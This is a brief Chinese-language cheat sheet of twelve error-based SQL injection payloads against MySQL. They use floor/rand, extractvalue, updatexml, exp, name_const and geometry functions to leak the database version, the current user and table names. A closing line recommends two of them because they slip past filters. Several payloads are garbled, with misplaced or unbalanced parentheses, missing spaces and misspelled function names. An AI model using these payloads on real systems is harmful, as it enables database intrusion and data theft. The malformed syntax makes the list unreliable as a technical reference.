12种SQL注入报错方式

1、通过floor报错,注入语句如下:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

 

2、通过ExtractValue报错,注入语句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

 

3、通过UpdateXml报错,注入语句如下:

and 1=(updatexml(1,concat(0x3a,(select user())),1))

 

4、通过NAME_CONST报错,注入语句如下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

 

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

 

6、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

 

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

 

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

 

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

 

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

 

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

 

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

第六个和第十二个用的比较多因为语句短，不容易被限制。